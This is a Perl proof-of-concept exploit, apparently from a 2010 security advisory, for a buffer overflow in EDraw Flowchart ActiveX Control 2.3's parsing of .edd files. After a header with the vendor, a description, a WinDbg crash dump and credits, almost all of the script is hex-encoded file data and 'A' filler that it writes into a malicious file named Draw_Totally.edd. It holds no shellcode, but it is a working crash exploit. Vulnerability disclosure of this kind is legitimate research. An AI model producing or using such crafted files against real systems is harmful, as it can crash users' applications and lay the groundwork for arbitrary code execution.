#!/usr/bin/perl### Title: EDraw Flowchart ActiveX Control 2.3 (.edd parsing) Remote Buffer Overflow PoC### Vendor: EdrawSoft## Product Web Page: http://www.edrawsoft.com## Summary: Do you want to learn how to draw? Now you can online! Learn how to draw like a# local application with Edraw Flowchart ActiveX Control that lets you quickly# build basic flowcharts, organizational charts, business charts, hr diagram,# work flow, programming flowchart and network diagrams.## Description: EDraw Flowchart ActiveX Control version 2.3 suffers from a buffer overflow# vulnerability when parsing .edd file format resulting in an application# crash and overwritten few memory registers which can aid the attacker to# execute arbitrary code.## Tested On: Microsoft Windows XP Professional SP3 (EN)## Version Tested: 2.3.0.6### Windbg:# --------------------------------------------------------------------------------------## (305c.1ee4): Access violation - code c0000005 (first chance)# First chance exceptions are reported before any exception handling.# This exception may be expected and handled.# eax=027a0020 ebx=00000000 ecx=0c841000 edx=3fffff45 esi=0012f2e4 edi=41414141# eip=10083bbd esp=0012f198 ebp=01055734 iopl=0 nv up ei pl nz na po nc# cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202# EDImage!DllUnregisterServer+0x5594d:# 10083bbd 895904mov dword ptr [ecx+4],ebx ds:0023:0c841004=????????## --------------------------------------------------------------------------------------### Vulnerability discovered by Gjoko 'LiquidWorm' Krstic## Zero Science Lab - http://www.zeroscience.mk## liquidworm gmail com#### 20.04.2010## Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4935.php##$pqbdpq = "\x00\x0C\x00\x00\x00\x00\x00\x00\x00\x33\x73\x46\x44\x1F\x55\x8C\x44\x00"."\x00\x3D\x43\x00\x00\x3D\x43\x00\x00\x3D\x43\x00\x00\x3D\x43\x00\x00\x80"."\x3F\xFF\xFF\xFF\xFF\xFF\x90\x99\xAE\xFF\x6C\x72\x82\x02\x00\x00\x00\x01"."\x00\x00\x00\xFF\xFF\x00\x03\xFF\x22\x37\xEA\x01\x00\x00\x00\xFF\xAD\xD8"."\xE6\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x3F\x02\x00\x00\x00\x01"."\x00\x00\x00\xFF\xF4\x00\x00\x00\x00\x00\x00\x00\x00\x42\x43\x1F\xF5\xA3"."\x44\x33\x73\x46\x44\x00\x00\xA0\x40\x33\xB3\x75\x44\x00\x00\x42\x43\x00"."\x00\xA0\x40\x1F\x55\x8C\x44\x00\x00\x3D\x43\x00\x00\x3D\x43\x33\x73\x46"."\x44\x1F\x55\x8C\x44\x00\x01\x00\xFF\xFF\x00\x00\x06\x00\x43\x53\x52\x65"."\x63\x74\x01\x00\x00\xA8\x2C\x02\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"."\x00\x00\x00\x00\x55\x01\x00\x00\xD7\x01\x00\x00\xDC\x01\x00\x00\x76\x02"."\x00\x00\x00\x00\xAE\x43\x00\x00\xFB\x43\x00\x00\xEA\x43\x00\x80\x1B\x44"."\x00\x00\xCC\x43\x00\x80\x1B\x44\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00"."\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F"."\x00\x00\xF0\x42\x00\x00\xF0\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\xCC\x43\x00\x80\x0C\x44\x08\x00\x00\x00\x06\x43\x53\x52\x65\x63\x74\x00"."\x00\x00\x80\x3F\x00\x00\x00\x00\x00\x06\x31\x30\x30\x31\x2C\x32\x00\xFF"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x80\x3F\x00\x00\x00\x00\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00"."\xFF\x00\x00\x00\x00\x00\x80\x3F\x01\x00\x00\x00\x00\x00\x00\x00\xFF\x00"."\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00"."\x00\xFF\x02\x00\x00\x00\xFE\xFF\xFF\xFF\xFF\x00\x00\x00\xFF\xFF\xFF\xFF"."\x00\x00\x01\x00\xFF\xFF\x00\x00\x08\x00\x43\x54\x65\x78\x74\x4F\x62\x6A"."\x00\x00\x01\x20\x2D\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x20\x44\x00\x00\x20\x44\x00\x00\x3E\x44\x00\x00\x3E\x44\x00\x00"."\x2F\x44\x00\x00\x3E\x44\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F"."\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00"."\xE6\x42\x00\x00\xE6\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCC\x43"."\x00\x80\x0C\x44\x00\x00\x00\x00\x08\x43\x54\x65\x78\x74\x4F\x62\x6A\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x3F\x00\x00\x00\x00"."\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00"."\x80\x3F\x01\x00\x00\x00\x00\x00\x00\x00\xFF\x00\x00\x00\x00\x02\x00\x00"."\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xFF\x02\x00\x00\x00"."\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00"."\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\xCC\x43\x00\x40\xFC\x43\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x40\xAF\x43\x00\x40"."\xFC\x43\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x04\x00\x00\x00\x00\x00\xCC\x43\x00\x40\xFC\x43\x01\x00\x00\x00\x20\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\xC0\xE8\x43"."\x00\x40\xFC\x43\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x04\x00\x00\x00\x00\xC0\xE8\x43\x00\x80\x0C\x44\x01\x00\x00\x00"."\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00";$qpdbqp = "\xC0\xE8\x43\x00\xE0\x1A\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xCC\x43\x00\xE0\x1A\x44\x01"."\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00"."\x00\x00\x40\xAF\x43\x00\xE0\x1A\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x40\xAF\x43\x00\x80\x0C"."\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04"."\x00\x00\x00\x00\x00\xCC\x43\x00\xC0\xEF\x43\x01\x00\x00\x00\x40\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xCC\x43\x00"."\x80\x0C\x44\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x25\x0D\x10\xFF\x00\x00\x00"."\xFF\xFF\xFF\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xCB\xCE\xCC\xE5\x0A"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\x05"."\x00\x00\x00\x00\x00\x00\xCC\x43\x00\x00\xFB\x43\x01\x00\x00\xEA\x43\x00"."\xC0\x08\x44\x01\x00\x80\xE2\x43\x00\x80\x1B\x44\x01\x00\x80\xB5\x43\x00"."\x80\x1B\x44\x81\x00\x00\xAE\x43\x00\xC0\x08\x44\x10\x00\x00\x00\x00\x00"."\x00\x00\xCC\x43\x00\x00\xFB\x43\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00"."\xFF\xFF\x00\x00\x07\x00\x43\x43\x74\x72\x6C\x50\x74\x04\x00\x00\x00\x00"."\x00\xCC\x43\x00\x00\xFB\x43\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\xBF\x05\x80\x04\x00\x00\x00\x00\x00\xAE\x43\x00\xC0\x08"."\x44\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\xBF\x00\x00\x00\xBE\x05"."\x80\x04\x00\x00\x00\x00\x00\xEA\x43\x00\xC0\x08\x44\x01\x00\x00\x00\x02"."\x00\x00\x00\x00\x00\x00\x3F\x00\x00\x00\xBE\x05\x80\x04\x00\x00\x00\x00"."\x80\xB5\x43\x00\x80\x1B\x44\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\xC0"."\xBE\x00\x00\x00\x3F\x05\x80\x04\x00\x00\x00\x00\x80\xE2\x43\x00\x80\x1B"."\x44\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\xC0\x3E\x00\x00\x00\x3F\x04"."\x00\x00\x00\x00\x00\xAE\x43\x00\x00\xFB\x43\x01\x00\x00\x00\x20\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xCC\x43\x00"."\x00\xFB\x43\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x04\x00\x00\x00\x00\x00\xEA\x43\x00\x00\xFB\x43\x01\x00\x00\x00\x20"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xEA"."\x43\x00\x80\x0C\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x04\x00\x00\x00\x00\x00\xEA\x43\x00\x80\x1B\x44\x01\x00\x00"."\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00"."\x00\xCC\x43\x00\x80\x1B\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xAE\x43\x00\x80\x1B\x44\x01"."\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00"."\x00\x00\x00\xAE\x43\x00\x80\x0C\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xCC\x43\x00\x80\xEE"."\x43\x01\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04"."\x00\x00\x00\x00\x00\xCC\x43\x00\x80\x0C\x44\x03\x00\x00\x00\x01\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";$dpqpqb = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";$bppqqd = "Draw_Totally.edd";
open edd,">./$bppqqd"|| die "\nCan't open $bppqqd: $!";
print edd "$pqbdpq"."$dpqpqb x 50"."$qpdbqp";
print "\n ~ Buffering...\n";sleep 1;
close edd;
print "\n ~ File $bppqqd ready!\n";